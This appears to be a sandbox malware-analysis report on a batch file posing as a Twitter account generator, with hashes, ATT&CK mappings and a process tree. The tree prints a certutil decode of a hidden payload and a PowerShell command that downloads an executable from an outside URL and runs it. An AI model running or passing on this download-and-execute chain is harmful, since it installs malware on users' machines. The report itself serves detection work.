60469e59dd3f911ea4c04971f62ff891c97c5612c654ddb114dd47f7a1565d63

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
08/08/2024, 16:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Twitter-Account-Generator-main/start.bat
Size

4KB
MD5

6b2d9f1769e0a9764ad143ac2679793b
SHA1

c9f5de490ce94729c1da33e375fb4c85a2a4e9f3
SHA256

546fe7bedfc1f85065c096b5cd025b65040e3ace4254d788575effdfd7ee8bb9
SHA512

e6060cf7c609a881a6b34157b75345b73a7101d86b5547ca49cf0cf3380b412c5b6d9261fc8507a3418c5cfce17431d39d415f0448bf1f90d6c15452ed6a6551
SSDEEP

96:9eGnKyIuE5jEdXT2QPUjtOmZE5jEdXT2QcBT8r7q:9pfE5QF2QsVE5QF2QcU2

Score

10^/10

defense_evasion execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://captcha-private.com/duck

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2712	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
1320	modules.exe

Loads dropped DLL 1 IoCs

pid	Process
2276	cmd.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
2708	certutil.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2776	timeout.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2276 wrote to memory of 2776	2276	cmd.exe	31
PID 2276 wrote to memory of 2776	2276	cmd.exe	31
PID 2276 wrote to memory of 2776	2276	cmd.exe	31
PID 2276 wrote to memory of 2788	2276	cmd.exe	32
PID 2276 wrote to memory of 2788	2276	cmd.exe	32
PID 2276 wrote to memory of 2788	2276	cmd.exe	32
PID 2788 wrote to memory of 2772	2788	cmd.exe	33
PID 2788 wrote to memory of 2772	2788	cmd.exe	33
PID 2788 wrote to memory of 2772	2788	cmd.exe	33
PID 2276 wrote to memory of 2708	2276	cmd.exe	34
PID 2276 wrote to memory of 2708	2276	cmd.exe	34
PID 2276 wrote to memory of 2708	2276	cmd.exe	34
PID 2276 wrote to memory of 2712	2276	cmd.exe	35
PID 2276 wrote to memory of 2712	2276	cmd.exe	35
PID 2276 wrote to memory of 2712	2276	cmd.exe	35
PID 2276 wrote to memory of 1320	2276	cmd.exe	37
PID 2276 wrote to memory of 1320	2276	cmd.exe	37
PID 2276 wrote to memory of 1320	2276	cmd.exe	37

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Twitter-Account-Generator-main\start.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2276
- C:\Windows\system32\timeout.exe
  timeout /nobreak /t 1
  2⤵
  - Delays execution with timeout.exe
  PID:2776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c where python 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\where.exe
    where python
    3⤵
    PID:2772
- C:\Windows\system32\certutil.exe
  certutil -decode C:\Users\Admin\AppData\Local\Temp\temp.b64 C:\Users\Admin\AppData\Local\Temp\update.bat
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:2708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "$client = New-Object System.Net.WebClient; $client.DownloadFile('https://captcha-private.com/duck', 'C:\Users\Admin\AppData\Local\Temp\modules.exe')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2712
- C:\Users\Admin\AppData\Local\Temp\modules.exe
  "C:\Users\Admin\AppData\Local\Temp\modules.exe"
  2⤵
  - Executes dropped EXE
  PID:1320

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\temp.b64

Filesize
996B

MD5
4a9c6e9d5d793fcf83f053cdd296469f

SHA1
dba0e6995327bc8e69bd6e86921add5ac732d950

SHA256
af1dbffd902a4b14d201b08f77507bf7bef65cfe9b2c29045a1e5e8ed17b5a62

SHA512
5acdce4686787a5d3bf4c5cd0b00fc79f546eafdb9f1ba4ca0e4dbf2482aaf8c7a68ea8b629c37ed01a8fe133aea891693fd2e1aa6b65cc05a76cbabff10d498

Download Submit
C:\Users\Admin\AppData\Local\Temp\update.bat

Filesize
742B

MD5
d14d5535d1ae51d63e66ec9c582db511

SHA1
ae4774b45d0259b9d8cafeaf8286b7fd83525f3a

SHA256
5c8182050debfe51914dee0270185fd44cd4483f9e712ddb33e1901c1552c421

SHA512
b35c97ba0a04c95ec1b6768df6b66ea0cf9f5070d53b1f031d263483260966c638991a34fba6cea020f5223c8696951f46815c20c4c610e99a45d639330c7e6d

Download Submit
memory/2712-10-0x000007FEF5EDE000-0x000007FEF5EDF000-memory.dmp

Filesize
4KB

Download
memory/2712-11-0x000000001B520000-0x000000001B802000-memory.dmp

Filesize
2.9MB

Download
memory/2712-12-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2712-13-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-14-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-15-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-16-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/2712-18-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download